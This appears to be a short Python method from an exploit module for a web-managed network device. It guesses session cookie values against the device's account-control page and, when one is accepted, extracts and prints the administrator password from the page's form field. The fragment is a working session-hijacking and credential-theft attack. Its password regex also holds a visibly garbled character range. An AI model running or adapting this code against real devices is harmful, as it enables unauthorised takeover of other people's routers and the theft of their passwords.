'Method that tests all cookies from the past to find one that is valid'

def test_cookie(self, cookie_int):

    url = '{}:{}/html/tUserAccountControl.htm'.format(self.target, self.port)
    cookies = dict(RpWebID=str(cookie_int))
    try:
        r = http_request(method='GET', url=url, cookies=cookies, timeout=10)
        if ('NAME="OldPwd"' in r.text):
            print_success('Cookie    {}    is    valid!'.format(cookie_int))
            pattern = 'NAME=\\"OldPwd\\"    SIZE=\\"12\\"    MAXLENGTH=\\"12\\"    VALUE=\\"([\xef\xbf\xbd-9]+)\\"'
            password = (re.findall(pattern, r.content)[0].replace('&', ';&')[1:] + ';')
            print_success('Target    password    is    :    {}'.format(password))
    except Exception:
        print_error('Unable    to    connect    to    target')
